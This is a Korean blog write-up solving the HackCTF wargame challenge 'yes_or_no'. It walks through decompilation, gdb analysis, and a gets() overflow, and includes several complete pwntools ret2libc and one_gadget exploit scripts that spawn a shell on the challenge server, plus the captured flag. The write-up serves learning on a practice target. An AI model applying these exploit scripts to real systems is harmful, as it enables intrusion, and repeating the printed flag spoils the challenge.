[문제]
[풀이]
스터디 할 때 만들어갔던 ppt도 첨부!
- 64bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- 사용자로부터 int형의 입력 값을 받음
- do_system+1094를 hint로 제공
do_system+1094
💡 2.27 glibc 버전에서 발생하는 system 함수 내에서 생성되는 오류 rsp의 값이 16바이트로 채워져 있지 않으면 do_system+1094 에 존재하는 명령어에서 오류 발생
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
int v4; // eax@2
int v5; // ecx@6
int v6; // eax@6
int v7; // eax@8
char s; // [rsp+Eh] [rbp-12h]@1
int v10; // [rsp+18h] [rbp-8h]@1
int v11; // [rsp+1Ch] [rbp-4h]@1
setvbuf(stdout, 0LL, 2, 0LL);
v11 = 5;
puts("Show me your number~!");
fgets(&s, 10, stdin);
v10 = atoi(&s);
if ( (v11 - 10) >> 3 < 0 )
{
v4 = 0;
}
else
{
v3 = v11++;
v4 = v10 - v3;
}
if ( v4 == v10 )
{
puts("Sorry. You can't come with us");
}
else
{
v5 = 1204 / ++v11;
v6 = v11++;
if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
else
{
v7 = v11--;
if ( v10 == v7 )
{
printf("Why are you here?");
return 0;
}
puts("All I can say to you is \\"do_system+1094\\".\\ngood luck");
}
}
return 0;
}
- 특정한 연산을 통해 값을 비교하여 일치 여부에 따라 분기 → 일치해야 하는 값은 정적으로 분석하기 어려움으로 gdb로 분석
- gets 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400558 _init
0x0000000000400580 puts@plt
0x0000000000400590 printf@plt
0x00000000004005a0 fgets@plt
0x00000000004005b0 gets@plt
0x00000000004005c0 setvbuf@plt
0x00000000004005d0 atoi@plt
0x00000000004005e0 _start
0x0000000000400610 _dl_relocate_static_pie
0x0000000000400620 deregister_tm_clones
0x0000000000400650 register_tm_clones
0x0000000000400690 __do_global_dtors_aux
0x00000000004006c0 frame_dummy
0x00000000004006c7 main
0x0000000000400820 __libc_csu_init
0x0000000000400890 __libc_csu_fini
0x0000000000400894 _fini
- main 주소: 0x00000000004006c7
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006c7 <+0>: push rbp
0x00000000004006c8 <+1>: mov rbp,rsp
0x00000000004006cb <+4>: sub rsp,0x20
0x00000000004006cf <+8>: mov rax,QWORD PTR [rip+0x20098a] # 0x601060 <stdout@@GLIBC_2.2.5>
0x00000000004006d6 <+15>: mov ecx,0x0
0x00000000004006db <+20>: mov edx,0x2
0x00000000004006e0 <+25>: mov esi,0x0
0x00000000004006e5 <+30>: mov rdi,rax
0x00000000004006e8 <+33>: call 0x4005c0 <setvbuf@plt>
0x00000000004006ed <+38>: mov DWORD PTR [rbp-0x4],0x5
0x00000000004006f4 <+45>: lea rdi,[rip+0x1ad] # 0x4008a8
0x00000000004006fb <+52>: call 0x400580 <puts@plt>
0x0000000000400700 <+57>: mov rdx,QWORD PTR [rip+0x200969] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400707 <+64>: lea rax,[rbp-0x12]
0x000000000040070b <+68>: mov esi,0xa
0x0000000000400710 <+73>: mov rdi,rax
0x0000000000400713 <+76>: call 0x4005a0 <fgets@plt>
0x0000000000400718 <+81>: lea rax,[rbp-0x12]
0x000000000040071c <+85>: mov rdi,rax
0x000000000040071f <+88>: mov eax,0x0
0x0000000000400724 <+93>: call 0x4005d0 <atoi@plt>
0x0000000000400729 <+98>: mov DWORD PTR [rbp-0x8],eax
0x000000000040072c <+101>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040072f <+104>: sub eax,0xa
0x0000000000400732 <+107>: sar eax,0x3
0x0000000000400735 <+110>: test eax,eax
0x0000000000400737 <+112>: js 0x40074b <main+132>
0x0000000000400739 <+114>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040073c <+117>: lea edx,[rax+0x1]
0x000000000040073f <+120>: mov DWORD PTR [rbp-0x4],edx
0x0000000000400742 <+123>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000400745 <+126>: sub edx,eax
0x0000000000400747 <+128>: mov eax,edx
0x0000000000400749 <+130>: jmp 0x400750 <main+137>
0x000000000040074b <+132>: mov eax,0x0
0x0000000000400750 <+137>: cmp eax,DWORD PTR [rbp-0x8]
0x0000000000400753 <+140>: jne 0x400766 <main+159>
0x0000000000400755 <+142>: lea rdi,[rip+0x162] # 0x4008be
0x000000000040075c <+149>: call 0x400580 <puts@plt>
0x0000000000400761 <+154>: jmp 0x40080a <main+323>
0x0000000000400766 <+159>: add DWORD PTR [rbp-0x4],0x1
0x000000000040076a <+163>: mov eax,0x4b4
0x000000000040076f <+168>: cdq
0x0000000000400770 <+169>: idiv DWORD PTR [rbp-0x4]
0x0000000000400773 <+172>: mov ecx,eax
0x0000000000400775 <+174>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400778 <+177>: lea edx,[rax+0x1]
0x000000000040077b <+180>: mov DWORD PTR [rbp-0x4],edx
0x000000000040077e <+183>: mov esi,ecx
0x0000000000400780 <+185>: imul esi,eax
0x0000000000400783 <+188>: add DWORD PTR [rbp-0x4],0x1
0x0000000000400787 <+192>: mov ecx,DWORD PTR [rbp-0x4]
0x000000000040078a <+195>: mov edx,0x66666667
0x000000000040078f <+200>: mov eax,ecx
0x0000000000400791 <+202>: imul edx
0x0000000000400793 <+204>: sar edx,0x3
0x0000000000400796 <+207>: mov eax,ecx
0x0000000000400798 <+209>: sar eax,0x1f
0x000000000040079b <+212>: sub edx,eax
0x000000000040079d <+214>: mov eax,edx
0x000000000040079f <+216>: shl eax,0x2
0x00000000004007a2 <+219>: add eax,edx
0x00000000004007a4 <+221>: shl eax,0x2
0x00000000004007a7 <+224>: sub ecx,eax
0x00000000004007a9 <+226>: mov edx,ecx
0x00000000004007ab <+228>: lea eax,[rdx+0x5]
0x00000000004007ae <+231>: mov ecx,eax
0x00000000004007b0 <+233>: shl esi,cl
0x00000000004007b2 <+235>: mov eax,esi
0x00000000004007b4 <+237>: cmp DWORD PTR [rbp-0x8],eax
0x00000000004007b7 <+240>: jne 0x4007d8 <main+273>
0x00000000004007b9 <+242>: lea rdi,[rip+0x11c] # 0x4008dc
0x00000000004007c0 <+249>: call 0x400580 <puts@plt>
0x00000000004007c5 <+254>: lea rax,[rbp-0x12]
0x00000000004007c9 <+258>: mov rdi,rax
0x00000000004007cc <+261>: mov eax,0x0
0x00000000004007d1 <+266>: call 0x4005b0 <gets@plt>
0x00000000004007d6 <+271>: jmp 0x40080a <main+323>
0x00000000004007d8 <+273>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004007db <+276>: lea edx,[rax-0x1]
0x00000000004007de <+279>: mov DWORD PTR [rbp-0x4],edx
0x00000000004007e1 <+282>: cmp DWORD PTR [rbp-0x8],eax
0x00000000004007e4 <+285>: jne 0x4007fe <main+311>
0x00000000004007e6 <+287>: lea rdi,[rip+0x106] # 0x4008f3
0x00000000004007ed <+294>: mov eax,0x0
0x00000000004007f2 <+299>: call 0x400590 <printf@plt>
0x00000000004007f7 <+304>: mov eax,0x0
0x00000000004007fc <+309>: jmp 0x40080f <main+328>
0x00000000004007fe <+311>: lea rdi,[rip+0x103] # 0x400908
0x0000000000400805 <+318>: call 0x400580 <puts@plt>
0x000000000040080a <+323>: mov eax,0x0
0x000000000040080f <+328>: leave
0x0000000000400810 <+329>: ret
End of assembler dump.
- flag를 출력하기 위해 값을 비교하여 분기하는 부분은 main+237에서 진행
- main+237에 bp를 걸어 비교 값 확인
- 사용자의 입력은 0x7fffffffde48에 저장
- rax레지스터에 0x96000이 있는 것으로 보아 해당 값과 사용자의 입력 값을 비교하는 것을 알 수 있음
→ 사용자는 9830400을 입력 해야 flag 획득을 위한 분기문에 접근할 수 있음
- 9830400 입력 시, 특정 문구와 함께 gets함수로 사용자의 입력을 받음
→ BOF 발생, 그러나 shell을 실행할 수 있는 함수나 코드가 존재하지 않음
→ ROP를 이용하여 system(”/bin/sh”)를 실행하도록 조작
문제 해결
💡 1. gets 함수를 통해 BOF 공격 → RET 부분을 이용해 ROP 공격
2. printf나 puts 함수를 이용해 offset 구하기
2. got주소 - symbols 주소를 통해 offset 구하기 → libc_base 주소 구할 수 있음
3. libc_base + system offset / libc_base + binsh offset으로 실제 주소 구하기
4. dummy + system + ret + /bin/sh 형태의 exploit
- gets 함수를 통해 BOF 공격 발생
- BOF 공격을 위해서는 buffer 크기(dummy)를 알아야 함
- 사용자의 입력은 0x7fffffffde4e에 저장됨
- 0x7fffffffde68에서 __libc_start_main+231 확인
- 사용자의 입력~0x7fffffffde68까지의 offset = 26(0x1a)
2. puts 함수를 이용해 offset 구하기
- puts, printf, write 등의 함수는 사용자에게 특정한 값을 출력해주는 함수임
- 문제에서는 puts함수나 printf 함수를 이용할 수 있음
- ALSR이 적용된 바이너리에서 주소들의 base를 구하기 위해서는 현재 바이너리에 puts 함수를 나타내는 symbols 주소와 GOT 주소의 차를 통해 offset를 구해야 함.
- 이를 위해서는 바이너리를 실행했을 때 설정된 got 주소를 출력해줘야 함. 구한 값을 사용하기 위해서는 사용자에게 출력해주고, 이를 pwntools에서 recv 함수를 통해 즉석으로 받아오는 과정이 필요함. → memory leak
- puts 함수의 인자를 빼준 후(pop rdi; ret), 해당 인자를 puts 함수의 got으로 넣어주면 puts(puts@got)으로 사용자에게 got주소를 출력해줄 것임
- 64bit 아키텍처에서 인자는 아래와 같은 순서로 레지스터에 담김
💡 Parameter 1 - rdi
Parameter 2 - rsi
Parameter 3 - rdx
Parameter 4 - rcx
Parameter 5 - r8
Parameter 6 - r9
Parameter 7 - (%rsp)
Parameter 8 - 0x8(%rsp)
system call - %rax
64bit rop
💡 32bit에서는 함수 주소 + 가젯 + 인자 + ret 과 같은 형태로 이용
x64에서는 Gadgets을 이용해 인자 값을 레지스터에 먼저 저장 후 함수 호출함
- dummy(26) + puts@plt + pop rdi; ret + puts@got + main의 형태가 아니라
- dummy(26) + pop rdi; ret + puts@got + puts@plt + main으로 사용해야 함
- pop rdi; ret 가젯을 레지스터에 저장후, 인자 세팅. 이후에 puts함수 호출. 마지막은 ret으로 system(”/bin/sh”)를 한 번에 실행하기 위해 다시 main함수로 돌아감.
가젯 구하기
pop rdi; ret: 0x0000000000400883
ret: 0x40056e
- RTL 기본 Exploit [dummy] + [system] + [ret(dummy)] + [/bin/sh]
→ puts의 인자로 /bin/sh주고 ret에 system을 불러올 것!
Python - puts@got 주소 leak
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")
#address
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
gadget = p64(0x400883)
main = p64(e.symbols['main'])
#payload
payload = "a"*26
payload += gadget
payload += puts_got
payload += puts_plt
payload += main
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)
puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))
Python - base 주소 계산
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")
#address
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
puts_symbols = e.symbols['puts']
gadget = p64(0x400883)
ret_gadget = p64(0x40056e)
main = p64(e.symbols['main'])
#system('/bin/sh')
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
#payload to leak
payload = "a"*26
payload += gadget
payload += puts_got
payload += puts_plt
payload += main
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)
puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))
#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
Python2
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")
#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)
puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))
#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
#exploit
payload2 = "a"*26
payload2 += p64(gadget)
payload2 += p64(binsh_address)
payload2 += p64(ret_gadget)
payload2 += p64(system_address)
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)
p.interactive()
Python - One_Gadget
- 0x4f2c5와 0x10a38c로 one shot gadget을 이용할 경우 단순히 one_gadget 주소만 구하면 됨
- 0x4f322의 경우 강제로 null 조건을 맞추면 사용할 수 있음
0x4f2c5와 0x10a38c gadget 이용시
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")
#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
one_gadget = 0x4f2c5
#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)
puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))
#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
one_address = base_address+ one_gadget
#exploit
payload2 = "a"*26
payload2 += p64(one_address)
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)
p.interactive()
0x4f322 gadget 이용시
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")
#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
one_gadget = 0x4f322
#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)
puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))
#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
one_address = base_address+ one_gadget
#exploit
payload2 = "a"*26
payload2 += p64(one_address)
payload2 += p64(0)*100
p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)
p.interactive()
flag
🍒 HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Offset (0) | 2022.10.30 |
---|---|
[HackCTF] BOF_PIE (0) | 2022.10.30 |
[HackCTF] RTL_World (0) | 2022.10.30 |
[HackCTF] g++ pwn (0) | 2022.10.30 |
[HackCTF] Poet (0) | 2022.10.30 |